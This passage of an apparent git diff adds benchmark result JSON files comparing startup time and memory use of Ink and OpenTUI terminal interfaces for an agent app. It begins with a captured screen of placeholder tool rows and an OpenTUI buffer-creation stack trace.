…/lively-thrush/hermes-agent ⧉ copy ◦ edit_file Voluptate ullamco labore sit. · 2.9s (7 lines) ◦grep Aliqua consectetur officia fugiat. · 3.0s (2 lines) ●web_search Mollit pariatur aute quis. · 3.1s (18 lines) ◆write_file Reprehenderit exercitation incididunt dolor. · 3.2s (7 lines) $terminal Magna amet culpa cillum. · 3.3s (2 lines) ◇read_file Deserunt nulla duis veniam. · 3.4s (18 lines) ◦edit_file Irure nostrud tempor ipsum. · 3.5s (7 lines) ◦grep Labore sit sunt esse. · 3.6s (2 lines) ●web_search Officia fugiat consequat minim. · 3.7s (18 lines) ⧉ copy ●- - const x3 = 8function f3() { return x}⧉ copy ◦ edit_file Voluptate ullamco labore sit. · 2.9s (7 lines)grep Aliqua consectetur officia fugia302●web_search Mollit pariatur auteqis. ·3.1s (18 lines) ◆rite_fileReprehenderi exercitatonincididunt door. · 3.2s (7 lines)$terminal Magna amt culpa cillum. · 3.3s (2 lines) ◇rad_fie Deserunt nula dus veniam. · 3.4s (18 lines)◦editIrure ostrud tempor ipsu57 lines) grep Labore sitsun esse. · 3.6 (2lines) ●web_search Officia fugiat consequatminim. · 3.7s (18 lines) ⧉ copy⚕▍ ◐file:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:14915\n throw new Error(`Failed to create optimized buffer: ${width}x${height}`);\n ^\nError: Failed to create optimized buffer: 120x12\n at FFIRenderLib.createOptimizedBuffer (file:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:14915:13)\n at OptimizedBuffer.create (file:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:11918:24)\n at TerminalConsole.show (file:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:21058:44)\n at CliRenderer.<anonymous> (file:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:23222:20)\n at process.emit (node:events:509:20)\n at process._fatalException (node:internal/process/execution:190:32)\nNode.js v26.3.0"
|
||||
}
|
||||
1331
bench/results/2026-06-10T2101-197d499-mem3000-ink-ink-r2.json
Normal file
162
bench/results/2026-06-10T2103-197d499-startup-ink-ink-r0.json
Normal file
@@ -0,0 +1,162 @@
|
||||
{
|
||||
"meta": {
|
||||
"cell": "startup",
|
||||
"ui": "ink",
|
||||
"config": "ink",
|
||||
"mode": "startup",
|
||||
"rep": 0,
|
||||
"run_id": "mq8k2tye-1xyi",
|
||||
"utc": "2026-06-10T21:03:24.711Z",
|
||||
"sha": "197d49948",
|
||||
"node": "/home/daimon/.local/share/fnm/node-versions/v26.3.0/installation/bin/node",
|
||||
"node_version": "v26.3.0",
|
||||
"pty": {
|
||||
"cols": 120,
|
||||
"rows": 40,
|
||||
"term": "xterm-256color"
|
||||
},
|
||||
"heap_mb": 8192,
|
||||
"memory_max": null,
|
||||
"container_cap": false,
|
||||
"container_memory": null,
|
||||
"opentui_cap": null,
|
||||
"fixture": {
|
||||
"path": "",
|
||||
"msgs": 0,
|
||||
"sha256": ""
|
||||
},
|
||||
"sample_every": 100,
|
||||
"mode_params": {},
|
||||
"ui_pid": 2373306,
|
||||
"gw_pid": 2373314,
|
||||
"cgroup": null,
|
||||
"load_avg_at_start": [
|
||||
0.43,
|
||||
0.55,
|
||||
0.48
|
||||
],
|
||||
"instrumented": false
|
||||
},
|
||||
"samples": [
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 27,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 0,
|
||||
"pty_writes": 0,
|
||||
"rss_kb": 55524,
|
||||
"pss_kb": 29228,
|
||||
"private_dirty_kb": 18060,
|
||||
"vmhwm_kb": 55556,
|
||||
"utime_ticks": 1,
|
||||
"stime_ticks": 0
|
||||
},
|
||||
{
|
||||
"kind": "final",
|
||||
"t_ms": 933,
|
||||
"msgs": 0,
|
||||
"events": 0,
|
||||
"pty_bytes": 6604,
|
||||
"pty_writes": 10,
|
||||
"rss_kb": 108996,
|
||||
"pss_kb": 69637,
|
||||
"private_dirty_kb": 49764,
|
||||
"vmhwm_kb": 108996,
|
||||
"utime_ticks": 24,
|
||||
"stime_ticks": 3
|
||||
}
|
||||
],
|
||||
"events": [
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 176
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "commands.catalog",
|
||||
"t_ms": 201
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 201
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "setup.status",
|
||||
"t_ms": 201
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 201
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.create",
|
||||
"t_ms": 227
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 227
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 227
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 227
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 227
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.active_list",
|
||||
"t_ms": 227
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 227
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 227
|
||||
}
|
||||
],
|
||||
"summary": {
|
||||
"result": "completed",
|
||||
"cap_hit": false,
|
||||
"cap_hit_basis": null,
|
||||
"at_messages": null,
|
||||
"exit": {
|
||||
"exitCode": 0,
|
||||
"signal": 0,
|
||||
"t": 943
|
||||
},
|
||||
"stream_done": false,
|
||||
"msgs_streamed": 0,
|
||||
"events_streamed": null,
|
||||
"pty_bytes_total": 6785,
|
||||
"pty_data_callbacks": 18,
|
||||
"first_byte_ms": 71,
|
||||
"session_create_ms": 227,
|
||||
"stream_start_ms": null,
|
||||
"vmhwm_kb": 108996,
|
||||
"cg_peak": null,
|
||||
"drain_max_loop_lag_ms": 1,
|
||||
"drain_lag_violations": 0,
|
||||
"drain_ok": true,
|
||||
"digest": null
|
||||
}
|
||||
}
|
||||
157
bench/results/2026-06-10T2103-197d499-startup-ink-ink-r1.json
Normal file
@@ -0,0 +1,157 @@
|
||||
{
|
||||
"meta": {
|
||||
"cell": "startup",
|
||||
"ui": "ink",
|
||||
"config": "ink",
|
||||
"mode": "startup",
|
||||
"rep": 1,
|
||||
"run_id": "mq8k3k0d-8lb5",
|
||||
"utc": "2026-06-10T21:03:58.478Z",
|
||||
"sha": "197d49948",
|
||||
"node": "/home/daimon/.local/share/fnm/node-versions/v26.3.0/installation/bin/node",
|
||||
"node_version": "v26.3.0",
|
||||
"pty": {
|
||||
"cols": 120,
|
||||
"rows": 40,
|
||||
"term": "xterm-256color"
|
||||
},
|
||||
"heap_mb": 8192,
|
||||
"memory_max": null,
|
||||
"container_cap": false,
|
||||
"container_memory": null,
|
||||
"opentui_cap": null,
|
||||
"fixture": {
|
||||
"path": "",
|
||||
"msgs": 0,
|
||||
"sha256": ""
|
||||
},
|
||||
"sample_every": 100,
|
||||
"mode_params": {},
|
||||
"ui_pid": 2374052,
|
||||
"gw_pid": 2374068,
|
||||
"cgroup": null,
|
||||
"load_avg_at_start": [
|
||||
0.24,
|
||||
0.49,
|
||||
0.46
|
||||
],
|
||||
"instrumented": false
|
||||
},
|
||||
"samples": [
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 26,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 0,
|
||||
"pty_writes": 0,
|
||||
"rss_kb": 56656,
|
||||
"pss_kb": 30387,
|
||||
"private_dirty_kb": 19220,
|
||||
"vmhwm_kb": 56664,
|
||||
"utime_ticks": 1,
|
||||
"stime_ticks": 0
|
||||
},
|
||||
{
|
||||
"kind": "final",
|
||||
"t_ms": 933,
|
||||
"msgs": 0,
|
||||
"events": 0,
|
||||
"pty_bytes": 6604,
|
||||
"pty_writes": 10,
|
||||
"rss_kb": 107996,
|
||||
"pss_kb": 68555,
|
||||
"private_dirty_kb": 48740,
|
||||
"vmhwm_kb": 107996,
|
||||
"utime_ticks": 24,
|
||||
"stime_ticks": 2
|
||||
}
|
||||
],
|
||||
"events": [
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 176
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "commands.catalog",
|
||||
"t_ms": 202
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 202
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "setup.status",
|
||||
"t_ms": 202
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 202
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.create",
|
||||
"t_ms": 202
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 202
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 226
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 226
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.active_list",
|
||||
"t_ms": 226
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 226
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 226
|
||||
}
|
||||
],
|
||||
"summary": {
|
||||
"result": "completed",
|
||||
"cap_hit": false,
|
||||
"cap_hit_basis": null,
|
||||
"at_messages": null,
|
||||
"exit": {
|
||||
"exitCode": 0,
|
||||
"signal": 0,
|
||||
"t": 945
|
||||
},
|
||||
"stream_done": false,
|
||||
"msgs_streamed": 0,
|
||||
"events_streamed": null,
|
||||
"pty_bytes_total": 6785,
|
||||
"pty_data_callbacks": 26,
|
||||
"first_byte_ms": 67,
|
||||
"session_create_ms": 202,
|
||||
"stream_start_ms": null,
|
||||
"vmhwm_kb": 107996,
|
||||
"cg_peak": null,
|
||||
"drain_max_loop_lag_ms": 2,
|
||||
"drain_lag_violations": 0,
|
||||
"drain_ok": true,
|
||||
"digest": null
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,126 @@
|
||||
{
|
||||
"meta": {
|
||||
"cell": "startup",
|
||||
"ui": "opentui",
|
||||
"config": "otui-capped",
|
||||
"mode": "startup",
|
||||
"rep": 0,
|
||||
"run_id": "mq8k32ir-kfs0",
|
||||
"utc": "2026-06-10T21:03:35.811Z",
|
||||
"sha": "197d49948",
|
||||
"node": "/home/daimon/.local/share/fnm/node-versions/v26.3.0/installation/bin/node",
|
||||
"node_version": "v26.3.0",
|
||||
"pty": {
|
||||
"cols": 120,
|
||||
"rows": 40,
|
||||
"term": "xterm-256color"
|
||||
},
|
||||
"heap_mb": 8192,
|
||||
"memory_max": null,
|
||||
"container_cap": false,
|
||||
"container_memory": null,
|
||||
"opentui_cap": 3000,
|
||||
"fixture": {
|
||||
"path": "",
|
||||
"msgs": 0,
|
||||
"sha256": ""
|
||||
},
|
||||
"sample_every": 100,
|
||||
"mode_params": {},
|
||||
"ui_pid": 2373543,
|
||||
"gw_pid": 2373552,
|
||||
"cgroup": null,
|
||||
"load_avg_at_start": [
|
||||
0.37,
|
||||
0.54,
|
||||
0.47
|
||||
],
|
||||
"instrumented": false
|
||||
},
|
||||
"samples": [
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 26,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 0,
|
||||
"pty_writes": 0,
|
||||
"rss_kb": 54272,
|
||||
"pss_kb": 27947,
|
||||
"private_dirty_kb": 16840,
|
||||
"vmhwm_kb": 54312,
|
||||
"utime_ticks": 1,
|
||||
"stime_ticks": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 1032,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 28911,
|
||||
"pty_writes": 19,
|
||||
"rss_kb": 104972,
|
||||
"pss_kb": 64818,
|
||||
"private_dirty_kb": 48264,
|
||||
"vmhwm_kb": 107336,
|
||||
"utime_ticks": 17,
|
||||
"stime_ticks": 2
|
||||
},
|
||||
{
|
||||
"kind": "final",
|
||||
"t_ms": 1139,
|
||||
"msgs": 0,
|
||||
"events": 0,
|
||||
"pty_bytes": 28911,
|
||||
"pty_writes": 19,
|
||||
"rss_kb": 104972,
|
||||
"pss_kb": 64818,
|
||||
"private_dirty_kb": 48264,
|
||||
"vmhwm_kb": 107336,
|
||||
"utime_ticks": 17,
|
||||
"stime_ticks": 2
|
||||
}
|
||||
],
|
||||
"events": [
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.create",
|
||||
"t_ms": 176
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "startup.catalog",
|
||||
"t_ms": 176
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "model.options",
|
||||
"t_ms": 176
|
||||
}
|
||||
],
|
||||
"summary": {
|
||||
"result": "completed",
|
||||
"cap_hit": false,
|
||||
"cap_hit_basis": null,
|
||||
"at_messages": null,
|
||||
"exit": {
|
||||
"exitCode": 0,
|
||||
"signal": 0,
|
||||
"t": 1322
|
||||
},
|
||||
"stream_done": false,
|
||||
"msgs_streamed": 0,
|
||||
"events_streamed": null,
|
||||
"pty_bytes_total": 29189,
|
||||
"pty_data_callbacks": 23,
|
||||
"first_byte_ms": 126,
|
||||
"session_create_ms": 176,
|
||||
"stream_start_ms": null,
|
||||
"vmhwm_kb": 107336,
|
||||
"cg_peak": null,
|
||||
"drain_max_loop_lag_ms": 3,
|
||||
"drain_lag_violations": 0,
|
||||
"drain_ok": true,
|
||||
"digest": null
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,126 @@
|
||||
{
|
||||
"meta": {
|
||||
"cell": "startup",
|
||||
"ui": "opentui",
|
||||
"config": "otui-capped",
|
||||
"mode": "startup",
|
||||
"rep": 1,
|
||||
"run_id": "mq8k3b9i-cl30",
|
||||
"utc": "2026-06-10T21:03:47.143Z",
|
||||
"sha": "197d49948",
|
||||
"node": "/home/daimon/.local/share/fnm/node-versions/v26.3.0/installation/bin/node",
|
||||
"node_version": "v26.3.0",
|
||||
"pty": {
|
||||
"cols": 120,
|
||||
"rows": 40,
|
||||
"term": "xterm-256color"
|
||||
},
|
||||
"heap_mb": 8192,
|
||||
"memory_max": null,
|
||||
"container_cap": false,
|
||||
"container_memory": null,
|
||||
"opentui_cap": 3000,
|
||||
"fixture": {
|
||||
"path": "",
|
||||
"msgs": 0,
|
||||
"sha256": ""
|
||||
},
|
||||
"sample_every": 100,
|
||||
"mode_params": {},
|
||||
"ui_pid": 2373796,
|
||||
"gw_pid": 2373805,
|
||||
"cgroup": null,
|
||||
"load_avg_at_start": [
|
||||
0.28,
|
||||
0.51,
|
||||
0.46
|
||||
],
|
||||
"instrumented": false
|
||||
},
|
||||
"samples": [
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 25,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 0,
|
||||
"pty_writes": 0,
|
||||
"rss_kb": 53764,
|
||||
"pss_kb": 27358,
|
||||
"private_dirty_kb": 16248,
|
||||
"vmhwm_kb": 53916,
|
||||
"utime_ticks": 1,
|
||||
"stime_ticks": 1
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 1036,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 28911,
|
||||
"pty_writes": 14,
|
||||
"rss_kb": 108848,
|
||||
"pss_kb": 68551,
|
||||
"private_dirty_kb": 51992,
|
||||
"vmhwm_kb": 108848,
|
||||
"utime_ticks": 17,
|
||||
"stime_ticks": 3
|
||||
},
|
||||
{
|
||||
"kind": "final",
|
||||
"t_ms": 1142,
|
||||
"msgs": 0,
|
||||
"events": 0,
|
||||
"pty_bytes": 28911,
|
||||
"pty_writes": 14,
|
||||
"rss_kb": 108848,
|
||||
"pss_kb": 68551,
|
||||
"private_dirty_kb": 51992,
|
||||
"vmhwm_kb": 108848,
|
||||
"utime_ticks": 17,
|
||||
"stime_ticks": 3
|
||||
}
|
||||
],
|
||||
"events": [
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.create",
|
||||
"t_ms": 175
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "startup.catalog",
|
||||
"t_ms": 175
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "model.options",
|
||||
"t_ms": 175
|
||||
}
|
||||
],
|
||||
"summary": {
|
||||
"result": "completed",
|
||||
"cap_hit": false,
|
||||
"cap_hit_basis": null,
|
||||
"at_messages": null,
|
||||
"exit": {
|
||||
"exitCode": 0,
|
||||
"signal": 0,
|
||||
"t": 1324
|
||||
},
|
||||
"stream_done": false,
|
||||
"msgs_streamed": 0,
|
||||
"events_streamed": null,
|
||||
"pty_bytes_total": 29189,
|
||||
"pty_data_callbacks": 18,
|
||||
"first_byte_ms": 128,
|
||||
"session_create_ms": 175,
|
||||
"stream_start_ms": null,
|
||||
"vmhwm_kb": 108848,
|
||||
"cg_peak": null,
|
||||
"drain_max_loop_lag_ms": 2,
|
||||
"drain_lag_violations": 0,
|
||||
"drain_ok": true,
|
||||
"digest": null
|
||||
}
|
||||
}
|
||||
157
bench/results/2026-06-10T2104-197d499-startup-ink-ink-r2.json
Normal file
@@ -0,0 +1,157 @@
|
||||
{
|
||||
"meta": {
|
||||
"cell": "startup",
|
||||
"ui": "ink",
|
||||
"config": "ink",
|
||||
"mode": "startup",
|
||||
"rep": 2,
|
||||
"run_id": "mq8k3ski-br6m",
|
||||
"utc": "2026-06-10T21:04:09.570Z",
|
||||
"sha": "197d49948",
|
||||
"node": "/home/daimon/.local/share/fnm/node-versions/v26.3.0/installation/bin/node",
|
||||
"node_version": "v26.3.0",
|
||||
"pty": {
|
||||
"cols": 120,
|
||||
"rows": 40,
|
||||
"term": "xterm-256color"
|
||||
},
|
||||
"heap_mb": 8192,
|
||||
"memory_max": null,
|
||||
"container_cap": false,
|
||||
"container_memory": null,
|
||||
"opentui_cap": null,
|
||||
"fixture": {
|
||||
"path": "",
|
||||
"msgs": 0,
|
||||
"sha256": ""
|
||||
},
|
||||
"sample_every": 100,
|
||||
"mode_params": {},
|
||||
"ui_pid": 2374304,
|
||||
"gw_pid": 2374312,
|
||||
"cgroup": null,
|
||||
"load_avg_at_start": [
|
||||
0.36,
|
||||
0.51,
|
||||
0.46
|
||||
],
|
||||
"instrumented": false
|
||||
},
|
||||
"samples": [
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 27,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 0,
|
||||
"pty_writes": 0,
|
||||
"rss_kb": 56620,
|
||||
"pss_kb": 30323,
|
||||
"private_dirty_kb": 19156,
|
||||
"vmhwm_kb": 56628,
|
||||
"utime_ticks": 1,
|
||||
"stime_ticks": 0
|
||||
},
|
||||
{
|
||||
"kind": "final",
|
||||
"t_ms": 933,
|
||||
"msgs": 0,
|
||||
"events": 0,
|
||||
"pty_bytes": 6607,
|
||||
"pty_writes": 12,
|
||||
"rss_kb": 109548,
|
||||
"pss_kb": 70130,
|
||||
"private_dirty_kb": 50316,
|
||||
"vmhwm_kb": 109548,
|
||||
"utime_ticks": 23,
|
||||
"stime_ticks": 3
|
||||
}
|
||||
],
|
||||
"events": [
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 177
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "commands.catalog",
|
||||
"t_ms": 202
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 202
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "setup.status",
|
||||
"t_ms": 202
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 202
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.create",
|
||||
"t_ms": 202
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 202
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 227
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 227
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.active_list",
|
||||
"t_ms": 227
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 227
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 227
|
||||
}
|
||||
],
|
||||
"summary": {
|
||||
"result": "completed",
|
||||
"cap_hit": false,
|
||||
"cap_hit_basis": null,
|
||||
"at_messages": null,
|
||||
"exit": {
|
||||
"exitCode": 0,
|
||||
"signal": 0,
|
||||
"t": 941
|
||||
},
|
||||
"stream_done": false,
|
||||
"msgs_streamed": 0,
|
||||
"events_streamed": null,
|
||||
"pty_bytes_total": 6788,
|
||||
"pty_data_callbacks": 14,
|
||||
"first_byte_ms": 65,
|
||||
"session_create_ms": 202,
|
||||
"stream_start_ms": null,
|
||||
"vmhwm_kb": 109548,
|
||||
"cg_peak": null,
|
||||
"drain_max_loop_lag_ms": 2,
|
||||
"drain_lag_violations": 0,
|
||||
"drain_ok": true,
|
||||
"digest": null
|
||||
}
|
||||
}
|
||||
157
bench/results/2026-06-10T2104-197d499-startup-ink-ink-r3.json
Normal file
@@ -0,0 +1,157 @@
|
||||
{
|
||||
"meta": {
|
||||
"cell": "startup",
|
||||
"ui": "ink",
|
||||
"config": "ink",
|
||||
"mode": "startup",
|
||||
"rep": 3,
|
||||
"run_id": "mq8k49vp-a57g",
|
||||
"utc": "2026-06-10T21:04:32.005Z",
|
||||
"sha": "197d49948",
|
||||
"node": "/home/daimon/.local/share/fnm/node-versions/v26.3.0/installation/bin/node",
|
||||
"node_version": "v26.3.0",
|
||||
"pty": {
|
||||
"cols": 120,
|
||||
"rows": 40,
|
||||
"term": "xterm-256color"
|
||||
},
|
||||
"heap_mb": 8192,
|
||||
"memory_max": null,
|
||||
"container_cap": false,
|
||||
"container_memory": null,
|
||||
"opentui_cap": null,
|
||||
"fixture": {
|
||||
"path": "",
|
||||
"msgs": 0,
|
||||
"sha256": ""
|
||||
},
|
||||
"sample_every": 100,
|
||||
"mode_params": {},
|
||||
"ui_pid": 2374791,
|
||||
"gw_pid": 2374799,
|
||||
"cgroup": null,
|
||||
"load_avg_at_start": [
|
||||
0.24,
|
||||
0.47,
|
||||
0.45
|
||||
],
|
||||
"instrumented": false
|
||||
},
|
||||
"samples": [
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 27,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 0,
|
||||
"pty_writes": 0,
|
||||
"rss_kb": 56660,
|
||||
"pss_kb": 30363,
|
||||
"private_dirty_kb": 19196,
|
||||
"vmhwm_kb": 56660,
|
||||
"utime_ticks": 1,
|
||||
"stime_ticks": 1
|
||||
},
|
||||
{
|
||||
"kind": "final",
|
||||
"t_ms": 931,
|
||||
"msgs": 0,
|
||||
"events": 0,
|
||||
"pty_bytes": 6607,
|
||||
"pty_writes": 11,
|
||||
"rss_kb": 108056,
|
||||
"pss_kb": 68668,
|
||||
"private_dirty_kb": 48884,
|
||||
"vmhwm_kb": 108056,
|
||||
"utime_ticks": 23,
|
||||
"stime_ticks": 3
|
||||
}
|
||||
],
|
||||
"events": [
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 176
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "commands.catalog",
|
||||
"t_ms": 201
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 201
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "setup.status",
|
||||
"t_ms": 201
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 201
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.create",
|
||||
"t_ms": 201
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 201
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 226
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 226
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.active_list",
|
||||
"t_ms": 226
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 226
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 226
|
||||
}
|
||||
],
|
||||
"summary": {
|
||||
"result": "completed",
|
||||
"cap_hit": false,
|
||||
"cap_hit_basis": null,
|
||||
"at_messages": null,
|
||||
"exit": {
|
||||
"exitCode": 0,
|
||||
"signal": 0,
|
||||
"t": 941
|
||||
},
|
||||
"stream_done": false,
|
||||
"msgs_streamed": 0,
|
||||
"events_streamed": null,
|
||||
"pty_bytes_total": 6788,
|
||||
"pty_data_callbacks": 20,
|
||||
"first_byte_ms": 65,
|
||||
"session_create_ms": 201,
|
||||
"stream_start_ms": null,
|
||||
"vmhwm_kb": 108056,
|
||||
"cg_peak": null,
|
||||
"drain_max_loop_lag_ms": 1,
|
||||
"drain_lag_violations": 0,
|
||||
"drain_ok": true,
|
||||
"digest": null
|
||||
}
|
||||
}
|
||||
157
bench/results/2026-06-10T2104-197d499-startup-ink-ink-r4.json
Normal file
@@ -0,0 +1,157 @@
|
||||
{
|
||||
"meta": {
|
||||
"cell": "startup",
|
||||
"ui": "ink",
|
||||
"config": "ink",
|
||||
"mode": "startup",
|
||||
"rep": 4,
|
||||
"run_id": "mq8k4r6t-uvp2",
|
||||
"utc": "2026-06-10T21:04:54.437Z",
|
||||
"sha": "197d49948",
|
||||
"node": "/home/daimon/.local/share/fnm/node-versions/v26.3.0/installation/bin/node",
|
||||
"node_version": "v26.3.0",
|
||||
"pty": {
|
||||
"cols": 120,
|
||||
"rows": 40,
|
||||
"term": "xterm-256color"
|
||||
},
|
||||
"heap_mb": 8192,
|
||||
"memory_max": null,
|
||||
"container_cap": false,
|
||||
"container_memory": null,
|
||||
"opentui_cap": null,
|
||||
"fixture": {
|
||||
"path": "",
|
||||
"msgs": 0,
|
||||
"sha256": ""
|
||||
},
|
||||
"sample_every": 100,
|
||||
"mode_params": {},
|
||||
"ui_pid": 2375404,
|
||||
"gw_pid": 2375412,
|
||||
"cgroup": null,
|
||||
"load_avg_at_start": [
|
||||
0.24,
|
||||
0.45,
|
||||
0.45
|
||||
],
|
||||
"instrumented": false
|
||||
},
|
||||
"samples": [
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 26,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 0,
|
||||
"pty_writes": 0,
|
||||
"rss_kb": 56380,
|
||||
"pss_kb": 30111,
|
||||
"private_dirty_kb": 18944,
|
||||
"vmhwm_kb": 56460,
|
||||
"utime_ticks": 2,
|
||||
"stime_ticks": 0
|
||||
},
|
||||
{
|
||||
"kind": "final",
|
||||
"t_ms": 928,
|
||||
"msgs": 0,
|
||||
"events": 0,
|
||||
"pty_bytes": 6604,
|
||||
"pty_writes": 12,
|
||||
"rss_kb": 110684,
|
||||
"pss_kb": 71346,
|
||||
"private_dirty_kb": 51564,
|
||||
"vmhwm_kb": 110684,
|
||||
"utime_ticks": 24,
|
||||
"stime_ticks": 2
|
||||
}
|
||||
],
|
||||
"events": [
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 177
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "commands.catalog",
|
||||
"t_ms": 202
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 202
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "setup.status",
|
||||
"t_ms": 202
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 202
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.create",
|
||||
"t_ms": 202
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 202
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
